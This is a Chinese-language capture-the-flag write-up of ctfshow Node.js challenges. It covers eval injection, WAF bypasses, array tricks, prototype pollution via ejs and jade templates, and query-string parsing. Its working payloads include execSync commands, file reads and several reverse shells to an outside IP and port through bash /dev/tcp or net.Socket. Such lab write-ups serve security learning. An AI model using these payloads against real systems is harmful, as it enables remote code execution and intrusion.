nodejs刷题
前言
因为打一次比赛做到了这个nodejs原型链污染,是一点头绪都没有,就来恶补一下,keep on!
Web-334(大小写)
代码审计
给了账号和密码 账号是大写的CTFSHOW
,但是输入的账号不能为大写,有个小写转大写的操作,输入ctfshow
即可
1 | return users.find(function(item){ |
Web-335(eval)
eval()用法和php差不多 都是将字符串当作代码执行
这里nodejs执行命令类似于python 要调库 比如 python就要调包含目录执行的库,比如os,在nodejs里也是一样 不过这里都是通过require('模块')
来调(不严谨 但是可以这么理解)
payload:/?eval=require('child_process').execSync('ls')
可以参考nodejs中文网https://nodejs.cn/api/child_process.html#child-process
但是其他命令执行函数比如exec()
返回都是[object Object]
在这里只能用execSync
Web-336
解法一:
设置了waf
读当前文件路径
1 | ?eval=__filename |
1 | ?eval=require('fs').readFileSync('/app/routes/index.js', 'utf-8') |
这里fs模块负责读写文件
读当前文件
过滤了exec load
通过字符拼接绕过:?eval=require('child_process')['exe'%2B'cSync']('ls')
%2B
是+
的url编码
解法二:
用fs模块读当前路径文件
1 | ?eval=require('fs').readdirSync('.') |
直接读就行了
1 | ?eval=require('fs').readFileSync('fl001g.txt','utf-8') |
这里读路径和文件命令稍有不同 不过很好记
解法三:
1 | ?eval=require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cmd') |
利用编码绕过
Web-337(数组绕过)
给了源码 类似于php的md5思路
1 | ?a[]=1&b[]=1 |
可以看师傅的总结 tql:https://f1veseven.github.io/2022/04/03/ctf-nodejs-zhi-yi-xie-xiao-zhi-shi/
Web-336的编码绕过就是看了这个师傅的
Web-338(经典原型链污染)
给了源码
当secert对象的ctfshow属性为题目所需值就给flag
那么就通过原型链污染Object的ctfshow属性 从而使得secert对象为所需值
可利用点为这个copy函数
跟踪一下
发现了原型链污染的经典语句
当时做这道题题目时候有个疑问就是为什么post传输的数据是在哪里接受到的,因为是零基础js,还在慢慢摸索,又去审了一次代码
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
整个语句都是router{}
囊括起来的,并且是通过post传参,而且还加载了require('body-parser')
中间键。
body-parser是非常常用的一个express中间件,作用是对post请求的请求体进行解析 。
除此之外为什么要用json格式传输,p神博客中也提及了,如果不用json文件发送那么__proto__
就会被当作原型执行,导致污染失败,只有通过json格式提交,才会被当作key来执行,这样才能达到原型链污染的效果。
关于nodejs请求 可以参考这篇文章比较符合我这种新手:https://www.cnblogs.com/Diamond-sjh/p/11324138.html
Web-339 (api)
这道题目多了一个/api路由 并且看到了render 多了一个模板渲染
发现Function 这里借用p神的理解
这里query没有被定义,就会在Object对象中寻找这个属性,那么我们就向上污染Object添加一个query属性就行了 。
这里提供三种payload:
payload1:
1 | {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var __tmp2"}} |
outputFunctionName
是ejs引擎的一个属性 可以参考:https://blog.csdn.net/DARKNOTES/article/details/124000520
payload2:
1 | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}} |
没有require,所以就用 global.process.mainModule.constructor._load
来导入 child_process
payload3:
1 | {"__proto__":{"query":"var net = process.mainModule.constructor._load('net'),cp = process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(port,'ip', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;"}} |
Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load
来代替require。
然后flag藏在环境变量里 一开始被这个坑到了
Web-340(二次污染)
这里user为一个对象 他的属性userinfo也是一个对象
那么如果我们想通过copy函数通过user.userinfo
污染到Object.prototype
即则user.userinfo->user(第一次污染)->Object(第二次污染)
需要污染两次
路由/api的思路和上一题一样 则可以用上题的payload,嵌套一个__proto__即可
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.221.177.174/7777 0>&1\"')"}}}
Web-341(ejs模板)
没了/api路由
也没有了条件输出flag
看了wp是ejs的模板引擎的原型链污染rce
那么既然没有条件Function函数让我们执行命令,也没有输出flag,该怎么弄呢
整体分析可参考:https://www.anquanke.com/post/id/236354#h2-2
大致思路为:通过原型链污染 去覆盖这个模板渲染时的拼接代码,让其拼接进ejs模板代码种,从而渲染时进行RCE
1 | payload:{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.221.177.174/7777 0>&1\"');var __tmp2"}}} |
Web-342、343(jade模板)
审计源码,发现换了模板引擎
思路与上面ejs模板相同 直接看师傅们的payload即可
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.221.177.###/7777 0>&1\"')"}}}
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.221.###.174/7777 0>&1\"')"}}}
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \" bash -i >&/dev/tcp/124.221.177.###/7777 0>&1\"')"}}}
注意这里有两个大坑 坑死我了
首先提交要post burp默认get
最坑的是Content-Type要改为 application/json
玛德当时这里一直是默认的 一直没改 导致一直反弹失败
然后再来说说找flag的方法
直接cat /proc/self/environ
去找
或者env|grep ctfshow
其实就是管道符把env的输出的内容当作grep(查找字符)的参数
其实本质上这两者是等价的 都是在环境变量种寻找flag
Web-344(nodejs 解析特性)
给了源码:
1 | router.get('/', function(req, res, next) { |
根据源码我们应该传
1 | ?query={"name":"admin","password":"ctfshow","isVIP":"true)"} |
req.url.match(/8c|2c|\,/ig)
但是正则过滤了空字符 逗号以及其url编码
看了大佬的wp 应该这样传?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
url编码之后传上去
nodejs中会把这三部分拼接起来
被传入之后req.query被解析成了一个数组,之后在JSON.parse的解析下变成了对象,就变成了我们想要的结果了。